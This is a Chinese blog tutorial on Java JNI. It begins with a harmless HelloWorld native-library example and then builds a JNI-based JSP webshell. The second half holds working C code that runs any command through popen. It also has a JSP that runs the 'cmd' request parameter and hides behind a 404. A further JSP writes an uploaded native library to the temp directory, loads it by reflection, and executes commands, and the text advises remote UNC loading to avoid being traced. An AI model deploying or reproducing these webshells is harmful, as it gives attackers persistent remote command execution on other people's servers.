首页 > 编程语言 >Java JNI(Java Native Interface)攻击原理研究

Java JNI(Java Native Interface)攻击原理研究

时间:2023-11-10 09:12:46浏览次数:47  
标签:Java test jsp Interface org JNI include class

一、Java JNI简介

0x1:JNI是什么

JNI (Java Native Interface,Java本地接口)是一种编程框架,使得Java虚拟机中的Java程序可以调用本地应用/或库,也可以被其他程序调用。 本地程序一般是用其它语言(C、C++或汇编语言等)编写的,并且被编译为基于本机硬件和操作系统的程序。

0x2:为什么需要JNI

  • Java标准库不支持的平台相关功能或者程序库,当然,也有各种高性能的程序,以及平台相关的API实现,允许所有Java应用程序安全并且平台独立地使用这些功能。
  • 平台相关的功能,通常是为了追求性能,需要对Java虚拟机进行扩展,需要使用Native的实现。
  • Java的.class文件安全性较差,增加安全性,将重要的逻辑在Native代码中实现。

 

二、编写一个HelloWorld JNI程序

0x1:需求

在Java中调用Native方法,Native方法输出Hello JNI。

0x2:开发过程

调用JNI接口的步骤:

  1. 编写Java代码,注明要访问的本地动态连接库和本地方法
  2. 编译Java代码得到.class文件
  3. 使用javah生成该类对应的.h文件
  4. 使用C++实现函数功能,编译生成dll
  5. 通过Java调用dll

1、准备Java侧代码

package org.example;

public class HelloWorld {
    static {
        System.loadLibrary("hello");
    }

    public native void sayHello();

    public static void main(String[] args) {
        new HelloWorld().sayHello();
    }
}

首先,定义了一个Hello类。

接下来,其中的static代码块是JVM在加载类时执行的,System.loadLibrary()表明需要加载动态库hello,在不同的系统平台上对应不同的名字,

  • 在Windows平台上查找的是hello.dll
  • 在Linux平台上查找的是libhello.so
  • 在MacOS平台上查找的是libhello.dylib

这个库应该被放在Java库的搜索路径中,可以通过-Djava.library.path=/path/to/lib将其加入到搜索路径中。如果路径下没有找到要导入的库,会在抛出UnsatisfiedLinkError错误。

然后,声明了sayHello的native方法,通过native关键字来表明这个方法的实现不在Java中。它的实现应该在hello库中。

最后是我们的测试程序主入口,调用native方法sayHello()。

2、生成头文件

首先,编译Java程序,生成HelloWorld.class。

打开idea的Terminal窗口输入:

javah -d ./jni -cp target/classes org.example.HelloWorld

就在当前项目下新建了一个jni文件夹,生成了对应的.h头文件。

包含的头文件jni.h,它是JDK提供的,位于<JAVA_HOME>/include目录中,具体的路径和平台相关:

  • <JAVA_HOME>/include/win32
  • <JAVA_HOME>/include/linux
  • <JAVA_HOME>/include/darwin

这个头文件声明根据Java中的声明的native方法,生成了一个C函数的声明Java_org_example_HelloWorld_sayHello:

/*
 * Class:     org_example_HelloWorld
 * Method:    sayHello
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello
  (JNIEnv *, jobject);

Java中的native方法到C函数的命名规则为:

Java_{package_and_classname}_{function_name}();

所有方法以Java_开头,接着是包名和类名,以_替换.,最后是方法名。

在Java中sayHello是没有参数的方法,但是在生成的C函数声明中有两个参数,它们是每个方法都会传递的参数,分别为:

  • JNIEnv*,指向JNI环境的指针,通过它可以使用JNI协议提供的接口(函数)
  • jobject,指向this的指针,用于获取类相关的信息(变量、方法等)

对于JNIEXPORT和JNICALL两个宏,用于设置函数可见性,以及调用栈约定,这里可以忽略这两个宏。

3、实现native方法

在jni目录下新建hello.c文件,实现函数Java_org_example_HelloWorld_sayHello(),

#include "org_example_HelloWorld.h"
#include <jni.h>
#include <stdio.h>

JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello (JNIEnv *env, jobject obj) {
  printf("Hello JNI!\n");
}

4、编译.c文件

gcc -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin hello.c -o libhello.dylib

gcc -shared -I$JAVA_HOME/include -I$JAVA_HOME/include/darwin hello.c -o libhello.dylib

编译生成.dylib库文件。

5、运行Java程序

java -Djava.library.path=/Users/zhenghan/Projects/JNI_test/jni/ org.example.HelloWorld 

6、使用C++实现 

相比较于C的实现,C++区别不大,将实现的文件由Hello.c命名为Hello.cc,内容为:

#include "org_example_HelloWorld.h"
#include <jni.h>
#include <iostream>

JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello (JNIEnv *env, jobject obj) {
  std::cout << "Hello JNI from C++!" << std::endl;
}

编译:

g++ -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin hello.cc -o libhello.dylib

其他步骤与C的实现一致。

参考链接:

https://blog.csdn.net/pengmaoming/article/details/80167295
https://blog.csdn.net/furzoom/article/details/113730538
https://blog.csdn.net/createchance/article/details/53783490

  

三、基于Java JNI实现Webshell

假设我们要实现的jsp webshell名为:test.jsp。

由于jni技术需要先通过javah将.class文件生成.h开头的.c头文件,又因为jsp是一种特殊的class文件,jsp经过Tomcat编译为class文件,命名遵从:

test.jsp ->> org.apache.jsp.test_jsp.class

所以我们需要新建package为org.apache.jsp,类名为test_jsp的.java文件。

package org.apache.jsp;

public class test_jsp
{
    class JniClass
    {
        public native String exec( String string );

    }

}

Tomcat环境下,需要遵循以下限制条件:

  • 固定包名格式为org.apache.jsp
  • java文件名称需要固定格式:***_jsp,并且后面的jsp文件名称需要同其保持一致。例如tes_jsp.java,那么最终jsp的文件名称需要命名为test.jsp
  • 类名不需要限定为JniClass,可以任意

编译Java代码得到.class文件,生成test_jsp.class、test_jsp$JniClass.class,

使用javah指令生成.h文件,打开idea的Terminal窗口输入:

javah -d ./jni -cp target/classes org.apache.jsp.test_jsp$JniClass

生成org_apache_jsp_test_jsp_JniClass.h文件,

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_apache_jsp_test_jsp_JniClass */

#ifndef _Included_org_apache_jsp_test_jsp_JniClass
#define _Included_org_apache_jsp_test_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     org_apache_jsp_test_jsp_JniClass
 * Method:    exec
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

编写包含指令执行回显的C代码,并引入上一步生成的.h文件,

#include "org_apache_jsp_test_jsp_JniClass.h"
#include <jni.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
        //printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

使用gcc将该c源码编译为dll、so或者lib(注意jdk版本要与目标机器的jdk保持一致),

gcc -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin jsp_exec_jni.c -o libexec.dylib

接下来,具体在jsp load时有两种思路,

  • 一种是将该jsp文件和该dll放置于服务器的本地路径,jsp的代码里指定dll的绝对路径\相对路径
  • 一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度
<%!
        class JniClass {
                public native String exec(String string);
                public JniClass() {
                System.load("/Users/zhenghan/Projects/JNI_test/jni/libexec.dylib");
                }
        }
%>
<%
        String cmd  = request.getParameter("cmd");
        if (cmd != null) {
                JniClass a = new JniClass();
                String res = a.exec(cmd);
                out.println(res);
        }
    else{
        response.sendError(404);
    }
%>

有几个注意点:

  • jsp文件名称需要同之前的java文件保持一致。
  • 对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。
  • jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。

还有另外一种jsp利用思路,就是将jni库代码写在jsp代码中,然后通过jsp动态写入磁盘上,并在jsp中通过system.load动态加载jni库文件,

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Method" %>
<%-- load_library_cmd_all.jsp?cmd=ls --%>
<%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 --%>
<%!
    private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";

    /**
     * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
     * 只有一个public static native String exec(String cmd);的方法
     */
    private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
            0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
            101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
            101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
            99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
            111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
            2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
            0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
            9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    };

    /**
     * 获取JNI链接库目录
     * @return 返回缓存JNI的临时目录
     */
    File getTempJNILibFile() {
        File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");

        if (!jniDir.exists()) {
            jniDir.mkdir();
        }

        String filename;

        if (isWin()) {
            filename = "cmd.dll";
        } else {
            if (isMac()) {
                filename = "libcmd.lib";
            } else {
                filename = "libcmd.so";
            }
        }


        return new File(jniDir, filename);
    }


    boolean isWin() {
        return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
    }

    boolean isWin32() {
        return "32".equals(System.getProperty("sun.arch.data.model"));
    }

    boolean isMac() {
        return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
    }


    /**
     * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
     * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
     * @param str
     * @return
     */
    byte[] base64Decode(String str) {
        try {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (ClassNotFoundException e) {
                Class  clazz   = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        } catch (Exception e) {
            return null;
        }
    }

    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    void writeJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniFile = getTempJNILibFile();

            if (!jniFile.exists()) {
                byte[] bytes = base64Decode(base64);

                if (bytes != null) {
                    FileOutputStream fos = new FileOutputStream(jniFile);
                    fos.write(bytes);
                    fos.flush();
                    fos.close();
                }
            }
        }
    }
%>
<%
    String cmd = request.getParameter("cmd");
    String jniBytes = request.getParameter("jni");


    String COMMAND_JNI_FILE_BYTES;
    if (isWin()) {
        if (isWin32()) {
            // windows 32
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        } else {
            // windows 64
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        }
    } else {
        if (isMac()) {
            // mac
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        } else {
            // centos 7 64
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        }
    }


    // JNI路径
    File jniFile = getTempJNILibFile();
    ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");

    if (loader == null) {
        loader = new ClassLoader(this.getClass().getClassLoader()) {
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    return super.findClass(name);
                } catch (ClassNotFoundException e) {
                    return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                }
            }
        };

        writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录

        application.setAttribute("__LOADER__", loader);
    }

    try {
        // load命令执行类
        Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
        Object loadLib      = application.getAttribute("__LOAD_LIB__");

        if (loadLib == null || !((Boolean) loadLib)) {
            Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
            loadLibrary0Method.setAccessible(true);
            loadLibrary0Method.invoke(loader, commandClass, jniFile);
            application.setAttribute("__LOAD_LIB__", true);
        }

        String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
        out.println("<pre>");
        out.println(content);
        out.println("</pre>");
    } catch (Exception e) {
        out.println(e.toString());
        throw e;
    }

%> 

参考链接:

https://www.javasec.org/java-vuls/JNI.html
https://blog.csdn.net/weixin_47208161/article/details/106527583
https://www.cnblogs.com/interdrp/p/5012185.html
https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87JNI%E5%8A%A0%E8%BD%BDdll
https://raw.githubusercontent.com/javaweb-sec/javaweb-sec/master/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp
https://zhuanlan.zhihu.com/p/125477850
https://www.javasec.org/java-vuls/JNI.html

 

标签:Java,test,jsp,Interface,org,JNI,include,class
From: https://www.cnblogs.com/LittleHann/p/17819392.html

相关文章

  • java命令执行jar包的多种方法(四种方法)
    java命令执行jar包的多种方法(四种方法)java命令执行jar包的多种方法(四种方法)大家都知道一个java应用项目可以打包成一个jar,当然你必须指定一个拥有main函数的mainclass作为你这个jar包的程序入口。具体的方法是修改jar包内目录META-INF下的MANIFEST.MF文件。比如有个叫做test......
  • 第一次用Java编写”Hello world!“
    HelloWord1.随便新建一个文件夹,存放一个代码2.新建一个java文件文件后缀名为javaHello.java【注意点】系统可能没有显示文件后缀名,我们需要手动打开3.编写代码publicclassHello{publicstaticvoidmain(String[]args){​System.out.print("Hello,world!");}......
  • 前端学习-JavaScrip学习-sort()函数
    sort()函数默认按照字符串Unicode码排序如果希望按照数字大小排序,需要传参letarr=[2,4,5,6,22,9,10,111,2,1,32];console.log(arr.sort(function(a,b){returna-b;//升序//returnb-a;//降序}));参考链接:js排序——sort()排序用法......
  • JavaScript-Mutation Observer API
    概述 MutationObserverAPI用来监视DOM变动。DOM的任何变动,比如节点的增减、属性的变动、文本内容的变动,这个API都可以得到通知。概念上,它很接近事件,可以理解为DOM发生变动就会触发MutationObserver事件。但是,它与事件有一个本质不同:事件是同步触发,也就是说,DOM的变动......
  • 前端学习-JavaScrip学习-js基础03
    学习教程:黑马程序员视频链接循环案例-九九乘法表<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>......
  • Day03java流程控制
    所有学习内容来自:狂神说javaJava流程控制一、用户交互ScannerScanner对象java提供了这样一个工具类可以获取用户的输入。java.util.Scanner是java5的新特征,可以通过Scanner类来获取用户的输入。基本语法:Scanners=newScanner(System.in)使用next()与nextLine()方法获取......
  • Java学习—this关键字
    this关键字this是自身的一个对象,代表对象本身,可以理解为:指向对象本身的一个指针。在java中,这是一个引用当前对象的引用变量。javathis关键字的用法如下:this关键字可用来引用当前类的实例变量。this关键字可用于调用当前类方法(隐式)。this()可以用来调用当前类的构造函数。this关......
  • java StringBuilder对象和StringJoiner
    普及:因为StringBuilder是Java已经写好的类java在底层对他做了一些特殊处理。打印对象不是地址值而是属性值。packagecom.elaina.test2;publicclasstest10{publicstaticvoidmain(String[]args){//1.创建对象StringBuildersb=newSt......
  • Java面向对象(四)
    多态什么是多态多态:理解为一个事物的多种形态比如在现实生活中每个人都会扮演着不同的身份,比如张三可以是学生身份,可以是一个孩子身份,可以是教师身份,可以是父亲的身份。Java中多态的体现子类对象多态性:父类的引用指向子类的对象(或者子类的对象赋给父类引用)举个例子:1publ......
  • Java 基础篇day08
    抽象抽象方法用abstract抽象类中不一定有抽象方法,有抽象方法的类一定是抽象类类中该有的成员(成员变量,方法,构造器),抽象类都可以有抽象类最主要的特点式抽象类不能创建对象,仅作为一种特殊的父亲,让子类继承并且实现Aa=newA()//抽象类不能创建对象一个类继承抽象类,必须重写......